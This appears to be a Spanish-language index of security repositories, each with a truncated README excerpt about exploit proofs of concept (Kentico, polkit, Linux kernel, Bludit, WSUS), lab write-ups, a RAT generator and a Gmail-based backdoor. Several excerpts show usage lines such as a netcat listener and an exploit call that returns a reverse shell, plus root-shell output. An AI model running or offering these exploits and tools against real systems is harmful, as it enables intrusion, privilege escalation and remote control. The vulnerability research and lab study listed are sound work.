CVE-2019-10068-PoC

PoC de CVE-2019-10068 para Kentico CMS Exploit de prueba de concepto para CVE-2019-10068, que aprovecha una RCE por deserialización en Kentico CMS para subir una web shell. Aviso legal: Esta prueba de concepto se proporciona únicamente con fines educativos y de investigación de seguridad...

CVE-2026-39987

CVE-2026-39987 — RCE Pre-Auth en Marimo vía WebSocket de Terminal / / | / / / | \ / \ \ / / | // / \ / / | | / / // // / / // // \ / Estado: Parcheado en 0.23.0 — marimo-team/marimo@c24d480 Vulnerabilidad El endpoint /terminal/...

hacktivity-vulns-exploits-lab

Vulnerabilidades, Exploits y Payloads de Acceso Remoto — informe de laboratorio Mi recorrido y análisis de la hoja de Hacktivity Cyber Security Labs "Vulnerabilities, Exploits, and Remote Access Payloads" curso de Ethical Hacking y Penetration Testing, Leeds Beckett University. Cubre cómo las...

copy-fail-CVE-2026-31431

Exploit de fallo de copia CVE-2026-31431 Autor: pyroceper Probado en: Ubuntu 25.10 x8664 $ make $ ./exploit Detected kernel: 6.17.0 Making backup of /etc/passwd to /tmp Backup saved as /tmp/passwd.bak Obtaining root shell... id uid=0pwn gid=0root groups=0root whoami pwn CRÉDITOS Y REFERENCIAS:...

POC_CVE-2026-41940

POCCVE-2026-41940 Quick start python3 pocCVE-2026-41940.py -h Usage examples Scan one host python3 pocCVE-2026-41940.py -u https://target.example:2086 List accounts after successful chain python3 pocCVE-2026-41940.py -u https://target.example:2086 --action list Run a shell command python3...

CVE-2026-31431-REVSHELL

█▀▀ ▄▀█ █ █ █▀█ █▀█ █▀█ ▀█▀ █▀░ █▀█ █ █▄▄ █▀▄ █▄█ █▄█ ░█░ CVE-2026-31431 • Linux Kernel LPE → Root Reverse Shell Overview FailRoot is a weaponized exploit for CVE-2026-31431 — an out-of-bounds write in the Linux kernel's crypto: algifaead subsystem. It chains a privilege escalation with a...

CVE-2026-31431

CVE-2026-31431 Detección y prueba de CVE-2026-31431 0x01 Inicio rápido Algunos entornos objetivo no tienen Python instalado, por lo que esta lógica de escalada de privilegios fue reescrita en C. 1. Compilar Ejecute el siguiente comando en su máquina Linux o WSL se recomienda usar -static para...

cve-2021-4034

cve-2021-4034 Implementación en shell fácil de usar de CVE-2021-4034 que se publicó ayer. El código C original se obtuvo de https://github.com/arthepsy/CVE-2021-4034...

PanaceaSoft-0day-Exploit

PanaceaSoft-0day-Exploit PanaceaSoft todos los productos exploit 0day https://packetstormsecurity.com/files/157869/PanaceaSoft-Shell-Upload.html sin write-up leer: PHP Upload Handler de jQuery File Upload...

CVE-2020-29669

Macally WIFISD2-2A82 Informe sobre CVE-2020-29669 por Maximilian Barz Silky y Daniel Schwendner code-byter ========================== Este es un informe sobre la explotación del router de viaje Macally WIFISD2-2A82 versión de firmware: 2.000.010. El usuario Guest puede restablecer su propia...

HIROO

HIROO HIROO is an FUD Remote Administration Tool RAT Generator and Controller HOW TO USE its really easy to use just do this in your terminal git clone https://github.com/E-RROR/HIROO cd HIROO python HIROO.py RUN ON WINDOWS the shell output will be python format you can make it .exe file with...

gcat

Gcat A stealthy Python based backdoor that uses Gmail as a command and control server This project was inspired by the original PoC code from Benjamin Donnelly This is PoC code... ... that was released for orginazations to test their defenses against these type of attacks. In order to detect them...

CVE-2021-43857-Gerapy-v0.9.7

CVE-2021-43857-Gerapy-v0.9.7 以管理员身份登录门户 添加新项目 sudo nc -lvnp 80 searchsploit -m python/remote/50640.py python3 ./50640.py -t IP-TARGET/URL -p PORT-TARGET -L YOUR-KALI-LINUX-IP -P YOUR-LISTENER-PORT python3 ./50640.py -t 192.168.106.24 -p 8000 -L 192.168.45.202 -P 80 获得shell访问...

Exploiting-Samba-on-Metasploitable-2

Explotando-Samba-en-Metasploitable-2 Mi objetivo aquí fue utilizar metasploit desde una máquina Kali Linux para explotar una vulnerabilidad conocida de samba CVE-2007-2447. Esto se hace con el fin de infiltrar una máquina Metasploitable 2 con una shell reversa para acceder a la carpeta raíz. Una...

CVE-2026-25099

CVE-2026-25099 - Bludit CMS API Subida de Archivos Sin Restricciones a RCE Descripción Las versiones de Bludit CMS anteriores a la 3.18.4 permiten a un atacante autenticado con un token de API válido subir archivos de cualquier tipo y extensión a través del endpoint POST /api/files/. La función...

CVE-2021-4034

Exploit CVE-2021-4034 Uso $ git clone https://github.com/whokilleddb/CVE-2021-4034 $ cd CVE-2021-4034 $ make ! CVE-2021-4034 Exploit By whokilleddb ! Initializing Setup + Setup Done :D ! Setting Root Privileges ! Launching Root Shell /bin/whoami root Parche Rápido chmod 0755 which pkexec Nota:...

CVE-2026-31431

CVE-2026-31431 — Escalada de Privilegios Local mediante AFALG 2026-04-29 — Publico este exploit un día después de compartirlo en el foroMyDigitalLife. No requiere Python; está escrito en C y compilado al menor tamaño posible usando: musl-gcc -static -Os -o exploit exploit.c -s Amenaza crítica. El...

CVE-2021-4034

CVE-2021-4034 Un día para el exploit de escalada de privilegios de polkit Solo ejecuta make, ./cve-2021-4034 y disfruta de tu shell de root. El aviso original de los autores reales está aquí PoC Si el exploit funciona, obtendrás un shell de root inmediatamente: localuser@ubuntu-poc:/CVE-2021-4034...

THM---Solar-exploiting-Log-4j

THM---Solar-exploiting-Log-4j Esta sala se basa en explotar la notoria vulnerabilidad Log4j CVE-2021-44228, también conocida como Log4Shell. La debilidad permite a los atacantes ejecutar código remoto mediante la inyección de payloads maliciosos en los mensajes de registro. TAREA 1 – INTRODUCCIÓN...

CVE-2025-59287-WSUS

CVE-2025-59287-WSUS versión en powershell del exploit POC de hawktrace https://hawktrace.com/blog/CVE-2025-59287-UNAUTH 1: edita las variables en el script url, puerto, etc. 2: inicia el listener de netcat 3: ejecuta el script: descargará automáticamente ysoserial.net, generará el payload y envia...